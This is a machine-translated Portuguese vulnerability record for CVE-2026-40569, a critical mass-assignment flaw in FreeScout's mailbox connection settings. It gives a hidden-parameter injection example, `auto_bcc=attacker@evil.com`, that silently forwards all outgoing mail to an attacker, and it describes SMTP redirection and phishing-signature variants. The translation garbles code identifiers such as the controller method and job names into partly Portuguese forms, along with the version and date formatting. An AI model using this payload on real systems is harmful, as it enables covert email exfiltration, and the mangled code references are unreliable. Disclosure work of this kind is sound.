FreeScout é uma secretária de ajuda auto- alojada e uma caixa de correio compartilhada. versões anteriores 1.8.213 ter uma vulnerabilidade de atribuição em massa nos endpoints de configuração de conexão de caixa de correio do FreeScout (`conexãoIncomingSave()` no `app/Http/Controllers/MailboxesController.php: 468 ` e `conectaçãoSalva()' na linha 398 ). Ambos os métodos passam `$request->all()` diretamente para `$mailbox->fill()` sem qualquer campo permitindo que um administrador autenticado sobrescreva qualquer um dos 32 campos no array `$fillable` do modelo Mailbox -- incluindo campos críticos de segurança que não pertencem ao formulário de configurações de conexão, tais como `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled` e `auto_reply_message`. A validação em `conectaçãoIncomingSave()' é totalmente comentada, e o validador em `conectaçãoExaustivaSave()' só verifica os formatos de valores para os campos SMTP sem desmontar parâmetros extras. Um usuário de administrador autenticado pode explorar isso adicionando parâmetros ocultos (por exemplo, `auto_bcc=attacker@evil.com`) para uma configuração de conexão legítima salvar o pedido. Como o campo `auto_bcc` não é mostrado no formulário de configurações de conexão (só aparece na página de configurações gerais da caixa de correio), a injeção é invisível para outros administradores que revisam as configurações de conexão. Uma vez definido, cada e- mail que sai da caixa de correio afetada é silenciosamente enviado ao atacante através do trabalho `EnviarResposta aoCliente`. O mesmo mecanismo permite redirecionar SMTP saído através de um servidor controlado pelo atacante, injetar pixels de rastreamento ou links de phishing em assinaturas de e- mail, e habilitar as respostas automáticas feitas pelo atacante -- tudo a partir de um único pedido HTTP. Isto é particularmente perigoso em ambientes multi- administração onde um administrador pode vigiar silenciosamente as caixas de correio gerenciadas por outros, e quando uma sessão de administração é comprometida por meio de uma vulnerabilidade separada (por exemplo, XSS), o atacante ganha uma exfiltração persistente de e- email que sobrevive à expiração da sessão. Versão 1.8.213 corrige o problema.
O registro de base de dados de vulnerabilidade nacional CVE- 2026 - 40569 foi publicado em 2026 - 04 - 21 T 17: 16: 55.450 Z e última modificação em 2026 - 06 - 17 T 10: 45: 28.137 Z. O estado registrado é Diferido.
métricas de vulnerabilidade gravadas: CVSS 3.1, pontuação de base 9, gravidade CRÍTICA, vetor CVSS: 3.1 /AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L, pontuação de exploração 2.3, pontuação de impacto 6; CVSS.
Classificações de fraqueza associadas: CWE- 284, CWE- 915.
O registro NVD inclui referências de suporte documentando a vulnerabilidade, tecnologia afetada ou informações de remediação.